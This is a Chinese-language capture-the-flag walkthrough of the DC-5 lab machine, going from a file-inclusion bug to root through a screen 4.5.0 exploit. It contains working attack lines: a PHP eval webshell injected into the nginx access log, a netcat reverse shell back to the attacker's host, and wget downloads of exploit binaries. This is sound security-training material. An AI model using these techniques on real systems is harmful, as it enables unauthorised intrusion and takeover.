DC-5
0x00 前期准备
- 导入成功。
0x01 文件包含
-
常规
nmap 172.20.10.0/24
,扫描得到dc5地址172.20.10.5。
-
80端口开放,访问网页,得知是nginx服务器。
-
点击网页的contact,发现可以提交表单。随意填写一个试试。
-
点击submit,成功后出现thankyou.php,可以看到URL中会有提交的数据。
-
开启代理,burp抓包,右键发送到repeater中重放,发现< footer >标签内的copyright一直变化(网页中显示2020,此处就是2019了)。
-
怀疑文件包含,爆破网页目录。先回到172.20.10.5/contact.php,重新抓包,发送至intruder,add添加contact。
-
在payload中选择load添加dirbuster的字典(路径:/usr/share/wordlists/dirbuster)。
-
执行,查看状态栏为200的页面(如果不修改线程数,运行速度极慢,此处仅跑出三个页面,选择另一种方法继续)。
-
或者,使用dirbuster(普通dirb无法探测到有用页面)。
dirbuster
启动,在页面中按实际情况选择填写,右下角start。 -
在scan information的所有进程到100%后,切换到result栏查看结果。同样看到了/footer.php。
-
基本可以确定/footer.php是/thankyou.php的文件包含,访问http://172.20.10.5/thankyou.php?file=footer.php,测试结论成立。
-
可以继续通过抓包更改url,此处直接使用firefox中的max hackbar插件修改参数。观察php伪协议是否被过滤,php://input用于执行php代码,如图没有回显,同理data伪协议也无回显。
-
回到原来的思路,访问常见可利用文件。分别访问/etc/passwd、/etc/shadow,仅passwd有回显,但没用。
-
最开始访问页面时,wappalyzer提示dc5服务器是nginx,访问nginx系统日志路径/var/log/nginx/access.log、/var/log/nginx/error.log。其中access.log和error.log都应该有回显。
-
注意,如果前面的access.log无法回显、后续操作都不可行,说明日志里已存在php语法错误,后面的内容无法加载。删除dc5靶机再重装吧。
0x02 获得shell
-
利用access.log。抓包在burpsuite-repeater中,把url修改为一句话木马
GET <?php phpinfo();?>
,回显400 bad request。
-
再次访问:http://172.20.10.5/thankyou.php?file=/var/log/nginx/access.log,可以看到显示了php信息,意识到可以通过这个方式写入木马。
-
写入一句话木马:
GET <?php @eval($_POST['nikris']);?>
。
-
使用蚁剑连接,此处我用的windows主机的软件,密码就是POST[’’]内。
-
连接成功后,向/tmp里写入一句话木马。
-
回到kali,访问/tmp/shell,可以看到footer变成了预设的test,连接有效。
-
在蚁剑的数据管理区中,选择dc5右键打开虚拟终端,反弹shell:
nc -e /bin/bash 172.20.10.3 7788
。在这之前,kali主机开启7788端口:nc -lvvp 7788
。
-
返回交互式:
python -c 'import pty;pty.spawn("/bin/bash")'
,成功。
0x03 screen漏洞提权
-
使用
find / -perm -4000 2>/dev/null
查找具有SUID权限的文件,发现screen-4.5.0。
-
使用searchsploit查找该命令漏洞:
searchsploit screen 4.5.0 -w
-
点进41154漏洞报告url查看,解读并按照指引操作。
-
复制框内代码,写入/tmp/libhax.c,执行编译。
-
同理,写入rootshell.c,编译。
-
构造dc5.sh脚本,第一行加入
#!/bin/bash
,最后一行加上:set ff=unix
命令将原本的dos格式换行符变为unix格式。
-
得到所需的三个文件:dc5.sh、libhax.so、rootshell。
-
在此目录下开启5566端口:
python2 -m SimpleHTTPServer 5566
,靶机切换到/tmp目录,wget 172.20.10.3:5566/xxxx
,下载这三个文件。
-
为dc5.sh添加可执行权限:
chmod +x dc5.sh
,执行./dc5.sh
。
-
验证权限,切换到/root根目录找到flag,渗透成功。